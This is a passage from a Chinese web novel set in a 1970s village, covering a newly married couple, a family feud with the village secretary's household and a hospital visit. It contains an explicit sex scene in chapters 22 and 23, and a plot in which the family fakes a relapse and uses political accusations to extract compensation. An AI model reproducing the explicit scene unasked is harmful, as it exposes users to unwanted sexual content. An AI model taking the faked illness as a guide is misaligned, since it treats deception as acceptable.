游雾州看余阿舅脸上带了些愁容,就道:“今天按礼说是回门的日子,我也不知道村里有什么礼节,就一大早去镇上买点东西。刚回来就被听说她们打起来了,我过去的时候也在动手了,但王嬸子家那两个被惯坏的小孩,分别朝着娘和小鱼儿撞过去,我只拦住了撞小鱼儿的,娘被撞了一下,然后顺势晕倒了。” “你们都不在,村里人只好把柳家张嬸子叫过来,反正怎么扯都扯不清,还是刚好今天还有两个城里过来妇联的人,她们讓都先回家,等你们回来再说。” 说完,他又补充道:“我们回家的路上,柳招娣被她娘揍了躺在那,娘心软幫她扶了起来,她让娘救救她,还说王嬸子要把她嫁给老强子。” 余阿舅越听眉头皱的越深,“那老强子还有人敢给他说亲?所以我姐把人带回去了吗?” 他总觉得事情没那么简单,一环套一环的,实在不对劲的很。 游雾州摇头,“娘是真想把她带回家去,但被小鱼儿拦住了,让娘叫了她妹妹去扶她,我和小鱼儿去找了那城里来的两个妇联的人,她们应该不会坐视不管的。” 他将今日的事一五一十的都说了出来,但是那些猜测他没说,余阿舅心里估計也有数,他没必要添油加醋说些猜测。 余阿舅眉角稍扬,有些自豪的说:“小鱼儿脑子一向好使。” 又问他:“今这事你怎么想,你也跟小鱼儿结婚了,也是我余家的一份子,一荣俱荣一损俱损的道理你也明白。你比我们见识的也多深,为人处事这方面,我除了阅历比你久点,或许还不如你,你说说你怎么看的。” 事情不能只看表面,余阿舅也明白这事不是巧合,甚至余银落水估计也有他们的手笔。 游雾州也不跟他藏着掖着,直接道:“落水的传闻是被故意揪着不放的,我今天听她们说是因为吵起来才动手的,而且是王嬸子故意挑起是非,才惹得余阿娘动手。我来村里这么久,一些流言也不会传太久,而且我都和小鱼儿结婚了,闲话应该不会太多了,可反而越演越烈。” “我听村民们说,村支书的位置应该是你的,现在他也快到日子了。你们今天都没在村子里,只有支书家的儿媳妇在,她还恰好是妇女主任。” 余阿舅点点头,“那你觉得咱们应该怎么做,才能让咱们从这事中全身而退?” “我也不是稀罕这个支书的位置,他们实在是欺人太甚了,还想把人当傻子看。” 余阿舅忍不住打量身邊这个男人。 游雾州想一下,“一直揪着王婶子不放,王婶子肯定会仗着柳支书会给她撑底,可若是一直揪着她不放,柳支书估计也不愿意撕破脸,那王婶子就会被放弃,毕竟柳光宗给娘身子都撞坏了。” “再以其人之道还治其人之身……”- 正在缝袋子的那边,余阿娘突然抽抽,往旁边翻着白眼一倒。 余银赶紧接住她娘,脸刷的一下变白,“娘?娘你咋了,别吓我啊娘。” 余阿娘这一动静可把干活的人吓坏了。 “这是咋了,你娘咋回事啊,余丫头?” “妈呀妈呀。” “哎呦我亲娘来,春花这是咋了?” 余银抱着她娘,脸白的吓人,眼眶红红的,向周围的婶子们求助,“婶子们,谁幫我抬一下我娘,我和舅母抬不动。” “我来,我来。”上午幫忙叫人的赵婶子放下手里的东西,快步走过来,帮着把人抬起来,放在王桂香背上。 余银在旁边拖着她娘的腿,防止滑下来,然后俩人背着她娘往外走去。 她们走后,在那缝袋子的妇人们窃窃私语。 “春花身体不是挺好的,今咋一下晕了两回啊,这瞅着可真吓人。” “我看她下午来还有些不对劲,还问她咋不在家里歇着呢。她看了一眼王大花,笑着摇摇头。” “那不就是害怕她不在,闺女再让人给欺负了。” “你说那柳光宗小小年纪心咋嫩歹毒,给春华撞成啥样了啊,作孽啊。” “那不还是随根嘛,你看人家余家那小姑娘,一样的年纪,心可没这么歹毒。” “我听说那上了年纪的人啊,一旦磕了碰了,都活不太长久了,春花今年可不小吧。” 坐在角落的王大花,听着她们的闲话一言不发,脸色有青转灰再到白。 仔细看,那拿着针的手,还有点颤抖- 余银她们刚走没多久,就碰到了过来的余阿舅和游雾州。 见到余阿舅,余银呜呜的哭,“舅啊,娘、娘又晕倒了。” 那哭声,在旁边干活的村民也听到了,看他们的样子,唏嘘不已。 余阿舅还算冷静,连忙将王桂香身上的余阿娘背到自己身上,声音却有些颤抖地说:“快,快去借个推車,我背着她走去卫生院。” 游雾州脸色凝重的拉着惊慌不安的余银,去借推車。 他俩跑了好几家,最后去村长家借了推車。 村长一脸担忧的问,“要不要紧啊,还有啥要帮忙的?” 余银整个人有些恍惚,游雾州还算好点,“不知道,阿舅背着娘她先往卫生院去,我们过来借推车去找她们,家里俩孩子,想让村长您帮帮忙照顾一下。” “估计回来到晚上了。” 村长抿了抿唇,“快去吧,孩子我们帮忙看着。” 游雾州也不敢耽搁,背着推车上的绳子,一手扶着方向,另一只手牵着余银就走了。 一时间,村子里都知道余阿娘被撞出事来了,余家人带着去卫生院看了。 出了村子以后,没多少脚步,就追上了余阿舅他们。 将余阿娘放在推车上,余阿舅和游雾州两个人换着推,往公社卫生院方向去。 卫生院在镇上公社附近,杨柳村离镇上几十里地路,又推着车走,等走到卫生院,衣服都湿完了。 推车停在卫生院门口,王桂香留下看着推车,余银和余阿舅他们背着余阿娘进去看病。 刚进卫生院门口,有人喊住余阿舅,“余队长,这是怎么了啊?” 他们三个扭头看过去,是一个很年轻的男人,朝着他们走过来,男人身姿倾长如竹,看着也很高,但没有游雾州高。 是不一样的类型,这个男人给人感觉儒雅斯文,如沐春风。 余阿舅看到是他,舒了口气,“周醫生啊,我姐她晕倒了,快帮忙看看。” 周醫生指着前面,“先把人放床上去。” 余阿舅背着余阿娘的将人放到前面的病床上。 周醫生抬起余阿娘的胳膊,他的手指修长,骨节明晰,指甲修剪得很干净,指尖轻轻搭在余阿娘的腕间。 两个手都把了一次,很认真的模样,随后放下余阿娘的手腕,笑道:“没什么事,就是有些上火,天气热,再加上情绪波动大太了,不碍事。” 他的声音清清浅浅,让人听了不自觉地会放松下来觉得安心。余银喜欢那种文气的男人,当初也是觉得游雾州是城里来的,又有文化,长得又那么好,才一眼就看中了。 此时看到她想像种的理想型,一时间也没收住目光,看的有些愣了。 余阿舅擦了擦额头上的汗,“谢谢啊,周醫生。” “不用客气。”周医生笑着摇头,看到余银一直盯着自己看,有些不自然的轻咳一声。 游雾州敏锐的察觉到不对,眸光锐利的看着那个周医生。 余银也移开了视线,但目 光还是止不住的落在他身上。 周医生自然也察觉到了,被她看的脸上泛起一层薄红。余银长的也好看,尤其是那一双鹿眼,当初也是这样盯着游雾州看的。 直勾勾地没有丝毫害羞,眼神却是澄澈的。 撩人而不自知。 游雾州没想到在余银脸上,能再次看到这样的目光是落在别的男人身上,莫名的,他觉得自己被人扼劲一般。噎了一口气在喉间,堵得心里不痛快极了。 他面色无波,甚至还挂着那幅常有的,眼底毫无笑意的微笑。 周医生不知道余银和游雾州的关系,他知道余阿舅有一对外甥,想着他俩应该就是余金和余银。 便笑着道:“没什么事,我先去给你们拿药了。” 余阿舅点头,“谢谢你了,周医生。” “您跟我客气了,余队长。”周医生笑着点点头出去了。 他一走,余阿娘就坐了起来,“这是不是你给余银看的那个医生?” 余阿舅给她使了个眼色,示意游雾州还在,别乱说话。 余阿娘讪讪一笑,余银和游雾州在那句话后,各怀心思盯着那位周医生离去的方向。 余银是一万个懊悔啊,也有些恨自己怎么就那么冲动,非要嫁给游雾州啊。 她要是再等等,说不定刚才那个周医生就是她男人了。 估计也没这么多事了。 她越想越觉得可惜,越想越看游雾州觉得自己好亏。 但她也不敢表现的太明显,生怕让他察觉到自己的心思,那不就是给他戴绿帽子了。 没有男人愿意被戴绿帽子,等他发达了,自己肯定没好果子吃。 余银在心里偷偷惋惜着这个周医生。 可游雾州又不是个傻的,见她愣着神,不用猜就知道她此刻在想什么。 她情绪一向不会掩盖,有什么心思都摆在脸上。 游雾州脸色有些难看,他微眯着眼睛,目光凌迟着她,心里盘算着,这要不是外面,他肯定要让她好好知道一下。 一个结婚了的女同志,当着她男人的面,盯着其他男人那样的眼神看着人家,是会有什么后果。 何况那个叫周医生的,看着挺高,但身板子瘦弱,指定不行…… 第22章 第22章天黑吃鱼 天黑下去,推车不好走路,但要是赶在天黑前回去,他们似乎去醫院呆的太短时间了。 好在醫院是个烧钱的地方,统一好口径,余银扶着余阿娘出去。 游雾州和余阿舅去找周醫生拿药去了。 她倆出去之后,没等余银先开口,余阿娘先忍不住说:“今见上那周医生,还真是一表人才,可惜了啊。” 余银抬眸,悄悄问她娘,“为啥可惜,你刚才跟舅舅说,他是舅舅给我看的什么。” 她心里大概有个猜想,但是原来一直也没听她娘提过啊。 要不然她恐怕也不会非要嫁给游雾州。 余阿娘左右看了看,压低声说,“都是过去的事了,你跟小游你倆把日子过好,早点给娘添个孙孙才是正事。” 她那会也想太多,经过余阿舅那一提点,脑子也瞬间清醒了。 周華锦周医生确实是他们给余银相看的对象,这事还是余金说的,他有一个一起在部队的战友,是他们县城的。他战友听说他妹妹余银后,就说自己家里堂弟也刚好差不多的年龄。 他自己在医院帮忙,那医院还就在他们村不远,家里人也都是医生,也没那么太在意门当户对,不会嫌弃余银是农村人的。 余金听了覺得可以,但没應下来,只说他写信问一下家里长輩,讓他朋友也先别告诉他堂弟一家。 当天,余金就给余阿舅写了封信,信上说了这件事,虽说那是他出生入死的战友,但余银的婚姻大事还要慎重,讓余阿舅去镇上医院打听一下,如果可以的话,就给余金回复。 这事成了皆大欢喜,不成就只有他们知道,连当事人也不知道,也不会坏了两个人的名声,就从来没跟余银说过。 只是因为是写信,一来一回的耽搁了不少时间,余阿舅这邊把同意的信寄过去,过了一个星期多,约莫着就那几天信就能到余金那,等着余金来安排两个人见面相看的事,余银就落水了。 有时候缘分就是这样的巧妙,余阿舅当时知道余银落水,还被游雾州以那样的方式救了以后,当天就跑到公社,借一句电话给余金那邊留了两句话。 “余银落水被村里知青救了,可能要结婚,那事不再提了。” 这两句话,余金就知道了余阿舅什么意思,回去就给他战友说了,家里长輩覺得余银不太适合,婉拒了这门亲事。 他战友还以为是余家长辈怕他们看不上余银,连忙保证说家里人不会看不上余银农村身份。 余金还是拒绝了,他没说是因为余银落水被救了,还是个下乡的知青。或许是他心思狭隘,覺得救余银的知青别有用心,毕竟自家妹妹是个怕水的,怎么会往水塘邊走,还落水了。 但他没说,将自己给余银准备的东西寄了回去,他还要执行認为回不了,替他帮妹夫说声抱歉。 这件事从头到尾也就只有他们四个知道。 如果不是今天恰好来到这,又遇到了周華锦。余阿娘听余阿舅说过周华锦,但一直没见过,今一见觉得确实不错,但可惜余银已经跟游雾州结婚了。 她可不能因为那会的一句话,讓两个人心里有矛盾,就又说:“小鱼儿,你倆日子过得好,娘也就放心,你男人是个好的,对你也好,你也要好好对人家,早点给他们游家生个娃娃。” 余银见她娘張口闭口都是孩子,没好气道:“这才结婚三天不到,我上哪给你肚子揣个娃娃来,再说了,那孩子是我一个人想生就生的,娘你怎么不跟他说这话去,就说我一个人,也太偏心了。” 余阿娘上下打量她一眼,“小鱼儿,你说我偏心之前,好好想我是怎么对你的,还我偏心。你不是我闺女我还不说呢,一点都不懂你娘的良苦用心。” 冷哼一声,接着道:“你那聪明劲一阵一阵的,怎么这事上一点都反應不过来啊。” “就偏心,你还想给别人当娘,还说我心狠,我明儿就去找我哥去,不跟你一家了。”余银将头扭向一边,一副不想搭理她娘的模样。 “嘿。”余春花提起这个就来气,“你还跟我小心眼记着呢,老娘都没跟你算账说你不認你老子娘这事,你还敢跟我小心眼啊。” 余阿娘对她有时候是真的一点脾气都没有了。 打从余银还不会说话时,就对余春花蹬鼻子上脸的。誰家孩子跟长辈都没有这样说话的,一不如意就对她发脾气,使小性子,还搞过离家出走那一套吓唬她。 不就想帮帮那柳大丫,说了句不帮会不会太心软,就被余银翻来覆去的说。 她还没说余银还想不认她呢。 余银也冷哼一声,“誰让你先说我心狠的,我可是你亲生的闺女,平时动不动打我就算了,为了个不相干的人,还说我心狠。” “你就是偏心!” 余阿娘惊的眼睛都瞪大了,“我打你?我什么时候打过你?你小时候离家出走实际上在柜子里藏着吓唬我,我都没对你动过一下手。” 她俩也走到了推车旁,余阿娘扯过王桂香,“来,桂香。小鱼儿说我打她,你说我打过她没有。” 王桂香早在她们过来的时候,就看到俩人好像在吵架,此刻她立在那,眼睛左右转了转。 “我不知道。” 她可不想卷入两个人的纷争- 余阿舅来找过周华锦看过几次病,做过针灸,但他身体上也没什么问题,就是受伤的那条腿阴雨天会疼。 周华锦给他说了个办法,让他用滚水的湿了毛巾,平时敷在腿上,在用艾草熏熏,可以缓解在阴雨天的疼痛。 余阿舅是个不善言辞的,每次针灸的时候也不 知道说些什么,就问问周华锦的家庭情况,也介绍一下自己家庭情况。 每次都是很干巴的聊天,但一来二去,两个人也算认識了。 余阿舅拿完药,朝他道了谢,跟游雾州去往外走。 来到推车旁时,明显察觉到了气氛有些不太对劲。 王桂香悄悄跟他说了两个人因为什么又生气了。 余阿舅有些头疼的看了两个人一眼,一言不发的推上车就走,王桂香跟在他旁边。 游雾州一头雾水,余阿娘问他,“小游,你在我们余家也有快一个月了。在余家这些天,你见娘打过小鱼儿嗎?” 他微转眸看了一眼余银,她似乎也在等他的回答。 游雾州好想知道俩人为啥气氛诡异了。 他原本也想跟余阿娘说一下,她经常对余银无意識的碰一下,拧一下,虽然不算严格意义上的动手,但余银却会疼。 游雾州思忖片刻,说:“娘是没有打过小鱼儿。” 话一出,不等他后面那句,余阿娘就笑起来,“我就说你小时候那样气我,我都不舍得揍你,哪打过你了。” 说完,余阿娘扬起巴掌,余银下意識往旁边躲。 游雾州眼疾手快将余银往旁边一拉,喊了声娘。 余阿娘动作僵住,脸色有些讪讪,“这不算揍她吧……” 她的语气有点虚,游雾州微微一笑,“不算。” “但娘你有时候可能自己也没意识到,你有拍人,拧人的习惯,这个很多人都有,都是无意识做的,自己都没反应过来的动作。” 游雾州看了一眼余阿娘脸没黑下来,就往其他事情上车,给余阿娘个台阶下,“小鱼儿也不是说的真心话,娘你对她的好,她心里都记得,你看今天小鱼儿知道你晕倒,都吓得不行。” “以后不这样了就是。”余阿娘摆摆手,哼笑道:“我不跟你一般见识,你现在有人护着了,我可没人护,比不了,比不了啊。” 余阿娘背着手往前走,余银也跟了上去,胳膊挂着她娘脖子撒娇。 “哎呀,娘~” “我什么人你还不知道啊,雷声大雨点小啊~” “我护着娘,我是娘的贴心小棉袄,谁也别想挑拨咱俩的感情。”- 他们回去天也不早了,余阿舅和王桂香去村长家还了推车,接了虎牙和余庆回去。 余银和余阿娘,游雾州先回了余家做饭。 和柳家的事明天再说,一家人吃过饭,烧了水准备洗洗睡了。 游雾州的耐心一向很好。 余银洗完澡后就躺到了床上,游雾州很自觉地进屋,帮她把水倒了,自己又打了盆水洗澡。 还把他们的衣服洗了晾好,回屋的时候,拿着盆里,里面又乘了半盆水。 放下盆,关了门,男人压实蚊帐,吹了灯上床的同时,脱掉了他的上衣。 黑暗中,游雾州准确无误地搂着床上的人,温热的大掌顺着她的腰身曲线挪到柔软处捏了捏,薄唇更是得寸进尺地抿住粉色。 修长的指节帶着微凉的触感,掌心还有一层薄茧,落在娇嫩的肌肤上会留下一阵粗砺之感。 蓦然被他握上那处,余银不自觉地溢出一声嘤咛。 她想伸手去推他,身子却被强压在他身下,胳膊也早在他倾身欺上来那刻,被举起在头顶,大掌禁锢着。 他一口一口,帶着吞咽的水渍声,像刚出生饿急了的婴儿,碰到香甜可口的食屋一样。 往深处汲取更多。 双腿随着他的动作,不自觉地曲起并拢,白皙细嫩的膝盖在他劲瘦的腰间蹭来蹭去,又痒,又热,又麻的感官,无不争先恐后的涌入着她的大脑。 游雾州捉住她的腿,抬高了起来,放在了不可言说的地方。 黑暗中,听到了男人喉结滚动的声音。 禁锢着她胳膊的手松开了,顺着她的小腿渐渐往上。 余银下意识地打了个颤,手掌走过的地方,都帶起一片酥酥麻麻。 大腿上方越来越强烈的的两种存在感,余银身子一抖,粉唇微微張开,喉间那声细碎的哼咛,让男人更加得寸进尺的掠夺。 他一向会折麽人,还极其有耐心。 游雾州隔着她短睡裤的边缘,探进那层薄薄的布料外。 两个人的皮肤都有些滚烫。 隔着薄料也能感受到的潮湿,游雾州低笑一声,他嘴里含着东西,含糊不清的说着:“小鱼儿果然是水里的。” 这句话,直接勾起了余银酥麻颤栗的的记忆…… “余银、小鱼儿、”游雾州轻声念着她的名字,沾染的缱绻的嗓音低沉沙哑,“媳妇儿。” “媳妇儿。” 听到他这么叫自己,余银心跳蓦地漏了一拍。 游雾州的眼神有些迷离,动作却不停,反而像是为了确定什么,越演越烈。 片刻,紧贴的身躯感受到了他胸腔的震动,游雾州的指尖被潮湿包裹着淹没。 唇角抑制不住的的声音,在溢出之前,强势带着不容拒绝的吻落下去,尽数被男人吞吃入腹。 这个亲吻和以往的都不太一样,实在是让余银面红耳赤,还有些心神荡漾。 男人吻着她的唇瓣,轻捻慢揉,伸出一点点的舌尖,在她的粉唇上舔舐着,描绘着她的唇齿。 等她放松警惕后,唇瓣不自觉的微张时,长舌缓缓进入唇腔,像一条灵活的小鱼,寻找着她的舌根缠绕。 她口腔渐渐发酸,男人在这个时候松开了力气,她的唇舌刚得以放松,长舌开始快速的往她唇內钻。 再快速的出去。 长舌这样几下后,又勾着她的舌尖慢慢来,好似再模仿着某些动作。 每次舌尖涌入唇內时,还会带起唇腔内分泌的唾液,简直是让人…… 余银有些感到羞耻,她燥得整个人都麻了,那些水渍还顺着她的唇角,控制不住地往外流。 “怎么嘴唇也这么多水?” 他又恢复了缓慢,像询问,更像明知故问。 余银被他的问话更羞涩了,腰身也跟着扭动,唔唔的发出难耐的声线。 唇舌离开之时,似乎还带出来一些银丝,余银半张着嘴,有些合不上,更多的银丝往下流,略微粗糙的指腹抹去唇边的潋滟。 他将那指腹上的潋滟放入口中,嘬了一口,还发出“波”的一声响。 游雾州嗓音低哑,笑道:“怎么像个小宝宝一样,还有口水啊。” 说完,不给她回答的机会。 “我帮你吧。” 带着叹息的口吻,实际上帮的到的是谁。 他又低头吻了上去,含着她的舌尖,用力的吮吸,长舌长屈直入,在她唇腔内扫荡,好像真是如他虽说,一处不留的打扫干净。 余银真的顶不住了,她浑身酸软却又少点什么,难受极了。 胳膊无力地抬起放在他肩上,“游雾州。” “给我好不好。” “游雾州。” 游雾州压抑着某种气息,竭力平复着冲动。 “好。” 他口上说着好,可还是没有给她,就像你想吃的东西摆放着那,明明答应你能直接吃,饭上盖着的那一层遮盖物。 却没拿下去。 更加折磨人。 渴望的感官在脑海里无限放大。 她像是被搁浅的快要干涸的鱼,浪潮的每次席卷,都离她差一点,却每次带起渴求的几滴海水给她。 太难受了,余银想。 她甚至已经渴望游雾州不要这么温柔的动作,她想要直接一点的。 余银的眼泪和汗液混合着,打湿了她的鬓发。 “求你了,游雾州。” “我难受,游雾州。” “口口口好不好。” “进来吧……” 游雾州像是笑了下,直接用行动来表达他的回答。 “是这样嗎?” “这儿吗?” “我做的对不对?” “嗯?小鱼儿?” “够吗?” 第23章 第23章自己来,好不好…… 月色被掩盖在黑云之下,昏暗的屋子内,難 耐的呜咽声断断续续从房间溢出。 小鱼即将迎来救命的潮浪时,那席卷的潮浪退了出去。 余银大脑一片空白,她用力的抓住男人结实的大臂,表情有些痛苦却帶着愉悦。 临到緊要关头,他出去了? 他出去了?!!! 游雾州竟然出去了! 余银迷蒙地睁着眼,嗓音还帶着微哑:“你、你干嘛?” 飘然欲坠的身体瞬间被他拦住。 緊緊贴着的她的肚子,她能感受到他还在贲张着,怎么就出去了。 余银环着他的后背,在他锁骨處蹭了蹭。 男人掐腰抱起余银,坐在他身上,只是就不给她。 余银只觉得浑身都好无力,那种却着什么的感觉,太磨人了。 脑海里只想要填上那處空缺。可是能给她填补上的人,偏偏这时不给。 还只填一点就又出来了,再一点,又出来,就是不给她。 游雾州额角的青筋绷得很紧,自己也憋的難受,可也打定了主意要好好“惩戒”她一番。 看得着,却吃不着。 要讓她好好记住,想要的東西不是那么容易得到的,得到了也要好好去珍惜。 有些東西也只能他给。 游雾州的嗓音绷的很沉,哑得厲害。 “很想嗎?” 余银樱唇微张,一声“嗯”从喉间溢出,声音抖得不成样子。 “给我好不好。” “游雾州。” 男人的手轻轻抚上她混着泪水臉颊,粗糙的指腹抹去她眼尾的泪水。 “那你自己来。” “怎么来?” 游雾州抓着她的手,帶着她去向那濕熱的處。 余银的手就像被烫了一般,想要缩回去,却被他抓着按在那。 男人吻上她的唇瓣,长舌顺着她半张着樱唇滑进去,另一只手摁着她的后颈,讓她的樱唇更深的接受他的舌尖。 游雾州的舌尖不再去和她纠缠,就保持着刚才的动作,讓余银的樱唇自己去纠缠他的舌尖。 “会了嗎?” 游雾州带着她的后颈,教她怎么做,唇瓣分开之际,那些分泌的银丝,顺着分开的间隙,落在了两个人中间。 刚好是余银的手背。 在接触到银丝时,手背難免瑟缩了下。 男人的手掌摩挲着她的后颈,低沉沙哑的嗓音在她耳边响起。 “自己来,好不好。” 带着极其蛊惑人心的意味。 “小鱼儿很聪明。” “是不是。” 余银迷迷糊糊被他带着,自己坐了上去,同时,游雾州呼吸一滞,额角绷着的青筋快要爆裂开。 她往下坐的时候,才发现根本不太行。 “不、不行。” 她有些疼,空缺的感官也好像在被填满,脑子里好像有两个小人在打架。 又疼,又月长,又舒服的。 游雾州喉结滚动两番,再次吻上她的唇瓣,舌尖感受着她的变化,而随着她在唇间纠缠。 含糊不清的说。 “好厲害,小鱼儿。” 他身子保持不动,舌尖紧紧缠着她的香舌,从舌根到舌尖,滑动着描绘她的香舌,汲取她唇腔内的香甜。 大掌抚着她的腰肢,不安分的来回摩挲。 余银身体的各处感官都叫叫嚣着,带着存在感极强的酥麻。 打着颤的身体,被游雾州扶着完全坐下去了。 她更难受了。 游雾州从她的唇瓣上离开,缓缓躺下去,双手掐着余银的细腰,固定着她的身体。 那种每一处叫嚣着的感官,好像突然被填补上了,但还不够。 还缺了什么。 腰间被他不安分的大掌禁锢着,余银难受到毫无章法的扭动着腰肢。 越动那些感官最深处却少的东西越明显。 “媳妇儿,对。” “就是这样。” “我。” 男人鼓励的话语,让她的气息更加紊亂。 快要干涸的就像雨逢甘霖,迎来了席卷的潮浪,如同海面上的浪花,一波接着一波。 浪水漫溢,潮浪翻滚。 惊起越来越多的浪花。 黑暗里那微眯着的眼睛,半张的樱唇,看不出什么表情来,但那接连不断的嗓音,房间内越来越潮濕的空气。 足以证明此刻的情绪。 潮浪卷起后的地面,带着湿熱的气息,鱼儿卷在地面上。 汹涌澎湃的潮浪,不再受鱼儿控制。 不知过了多久,已经没有任何力气了,只要那双禁锢着腰的手一松,就能立刻瘫到在床上。 可能是他还有点人性,知道她没一点力气了,最后关头将她放平在床上的。 游雾州下床拿着毛巾,湿了湿盆子里的水,帮她把擦洗干净,放进被窝里。 摸着她细腻的臉蛋,有些熱乎乎的,游雾州在她脸上轻轻咬了一口,才去收拾自己。 余银脑子昏昏沉沉的,连说话的力气都没有,游雾州离开的时候,没几秒,都直接睡着了。 游雾州不会彻夜折腾她,主要是这事不宜刚开始过多,怕她也承受不住。 但开荤的男人,肉也不可能一次只吃一口,所以这一口肉,他都要细细琢磨,好好品尝,才能让这块肉和他都有最好的体验。 他今晚也把自己琢磨的够呛,但也从中找到了些新乐趣- 被早工号子叫醒的余银,她对自己提出要去上工的想法而感到后悔。 实在是太累了,睡了一觉,身体的疲憊还没恢复,就要起床干活了。 余银身心疲憊啊。 她抬了一下胳膊和腿,酸的厉害,尤其她腰间。 她看着满臉餍足,毫无疲惫之意,眼神清亮的游雾州。 幽怨的眼神看着他。 为什么同样是人,他看起来精神好足啊! 游雾州看着比村里犁地黄牛还有精神头和力气。 游雾州接受到她的眼神,意为深长的看了她一眼。 “今在家休息吧?” 余银冷哼一声,裹着被子从床上坐了起来。 她今还有正事要做,才不能休息。 游雾州见她起得来,微微扬眉,从床上坐了起来,拿起衣服也不避着她。 余银臉有些微热,幸好天不算很亮,还有些微黑,看不到她的脸。 她咬了咬唇,看着床尾的被子,着实有些不好意思过去拿。 她身上光溜溜的,游雾州身上还有个短裤。余银不太好意思当着他的面穿,上辈子游雾州上大学后,两人没见过面了。 等于说她许久都没跟男人同处一室了,更何况还是赤诚相见的。 余银裹着被子,一点一点的往床尾挪去拿衣服,手还没碰到衣服,她抬头,正巧游雾州穿好衣服,抱着手臂,正看着她。 余银下意识地将被子裹的更紧,心跳的很快。 脸也隐隐发烫。 即使裹着被子,但在游雾州越来越暗眸光下,她感觉这被子跟没有遮挡似的。 余银鼓起脸,有些不自在说他:“你,你转过去,我要穿衣服了。” 游雾州听了这话安安静静地转过身去,只是问了一句,浮想联翩的话,“你自己能穿嗎?” 拿着衣服的余银,听了这话有些手足无措。 什么叫她自己还能穿吗? 啊啊啊啊啊啊! 余银有时候真想掐死自己,为什么把持不住自己,他撩拨两下,自己就傻乎乎的干啥都行。 真的好没出息。 身上也酸的厉害…… 衣服确实有些难穿了,但余银才不说她没力气穿。 穿好衣服下床,脚挨住地,差点没跪在地上。 余银想骂人了,游雾州还搂着她的腰揉了揉,更酸了,她站都站不住,歪他身上。 “要不还是别去了,我跟娘说你身子不舒服?”游雾州说。 余银有些一言难尽的问他,“你跟娘怎么说我身子为什么不舒服?” 这怎么解释能解释的清? 他游雾州怎么跟其他人说她身子为什么不舒服? 但凡她和上辈子一样,整天起的都晚,她今不起来也算了。 偏偏这两天都起来了,这才新婚几天,就身子不舒服,到底怎么 不舒服,村子里身子等她好了,不知道怎么打趣她呢。 余银想想那场面,就摇了摇头,“不行,我今还要去上工。” “……” 游雾州无奈,“那我给你再揉揉?” “别。”余银脚步虚浮的从他身上离开,“越揉越酸,你晚上不折腾我,就也不这样了。” “你咋跟村里那牛一样能干呢,累死人了。”余银说的随意。 听的人眼里闪过一抹沉思- 虽然是王大花和余阿娘之间的矛盾,但实际上还是余大队长和柳村支书之间的事。 余银和余阿娘她们上午照常上工。 中午刚到家,余银就迫不及待的问余阿舅事情怎么样了。 余阿舅跟她们说,事情已经解决了,柳家还赔了她们三十个鸡蛋。 说是给余阿娘补身体用的。 能从柳家扣出东西来,实在不容易,还是三十个鸡蛋,王桂香和余阿娘听到三十个鸡蛋的时候,凑过来听。 虎丫坐在椅子上,捧着小脸,问她爹,“柳光宗和柳耀祖都把他们家鸡蛋吃光了,能陪咱们鸡蛋吗?” 余银点点头,“咋做到啊,真能赔咱这么多啊?” 余阿舅看了去厨房做饭的游雾州一眼,抽了口烟说,“村长都发话了,能不给吗?还多亏了小游昨天出的那主意。” 他带着游雾州一起去的村长家,昨天他们就商量好了,让余阿娘再晕一次,把这赖在柳家身上。 先不管打起来的事,余阿娘的身体就被他们撞出身体了。 他们见了柳支书,也不跟他争执,也没那么多,“一个欺负军人家属,思想不积极有问题,就够他喝上一壶了。” 何况余阿娘还去了医院。 柳支书这次简直是偷鸡不成蚀把米,他要的这会儿被传出家里人,有人思想有问题,那就是要命啊。 游雾州看着温和有礼,对上这事,那直接就是拿捏柳支书的命门攥着。 “思想有问题。”这事不说他能不能把位置给他儿子,就是他自己都不定坐的住支书这个位置了。 余阿舅有认识的人,余银也就是打人了而已,又没做什么其他的。 可能最多被批评,再让她赔点东西。 可柳家不一样啊,王大花也是柳家人,那思想有问题的话,柳家一大家子都要完蛋。 当即柳支书就擦了擦冷汗,“青云啊,姐没啥事吧。我批评过大牛媳妇了,这事我们家做的确实不对,我认错。” 余阿舅拉着脸:“我姐幸亏没事,要是有事,咱俩还能心平气和的站这说话吗?” 柳支书脸色讪讪,“我知道,我知道,这事确实是那光宗不对,他年纪小不懂事,我也说过了,以后你放心,也没人再敢说闲话了。” 余阿舅和游雾州沉默不语。 村长看了看他们两个,“青云啊,你姐也没事了,这虽然是说是大牛媳妇先亂说话,但你家余丫头毕竟也打了她,那还是个长辈,传出去也不好听。” “我看不如这样,两家互相道个歉。青云他姐昨天看病的錢,大牛媳妇给出了,再给俩鸡蛋补补身体?” “俩鸡蛋?”余阿舅冷声道:“我家还是吃的起,兔子逼急了还会咬人,余银被当着那么多人面,说的多难听,就一眼不发吗?” “游知青也在这,他跟余银是正儿八经结婚了,不是乱来了,你们也都有闺女,要是被人当着面这么坏名声,你们怎么想?” 柳支书和村长脸色一僵,村长叹了口气道:“那你说怎么办?” “我看道歉就免了吧。”余阿舅摆手道:“谁也别给谁道歉了,大牛媳妇给看病錢出了,再拿点鸡蛋给我姐补身子用。” 柳支书看了眼村长,村长微微点头,“拿三十个鸡蛋给你姐补身子。成吗?” “三十个?”柳支书惊道。 余阿舅和村长冷眼扫向他,村支书呼了口气,“是该三十个。” 看病的钱加上鸡蛋,柳家这次要大出血了,且不说柳大牛家不愿意掏这个钱了,他们家更不出了。 柳支书越想越愁。 听完之后,余银咂舌道:“那今有的热鬧了看了。” 刚说完,就听到了吵鬧声,门口也出来了些人。 隔壁婶子朝他们院里看了一眼,直接进来说:“我刚去听了,柳家闹起来了现在。” 余阿娘眼睛一亮,“走,咱们去看看。” 余银也正有此意,从凳子上起来就往外走。 连王桂香也拉着虎丫和余庆出去看了。 余阿舅没动,他身份在那摆着,过去不好看了,再说他是个男的,去看什么热闹。 游雾州在厨房里做饭,听到她们要去看热闹,也没出去跟着,准备把做饭速度放慢一点…… 第24章 第24章不想要孩子 下午上工前,余家门口蹲着一个男人,旁边还放着一个小篮子。 听到余家院里似乎有了动靜,他扶着墙站起来,看样子在门口也等了一会儿。 余阿娘把门打开,就看到柳支书在门口,他干笑一下,叫了声姐。 余阿娘开门的手只僵了一下,又很快恢复如常,把门全部开开,上下扫量了柳支书。 眼睛定着他脚边的篮子几秒,收回视线,她明知故问道:“柳支书有啥事啊?” 那篮子有些小,看着不像能装得下三十个鸡蛋,余阿娘不知道他葫芦里卖的什么药现在。 柳支书有些心虚,默不作声地挡着地上的篮子,“这不是还没来家里看看弟妹,身体怎么样了,不要紧吧。” 篮子里一共只有二十个,他特意找了个小篮子,挤的满满的,到时候想糊弄过去。 倒不是他不想给,那么多鸡蛋,家里根本没存这么多,也没人想掏这些鸡蛋。 柳大牛家更是拿不出了。 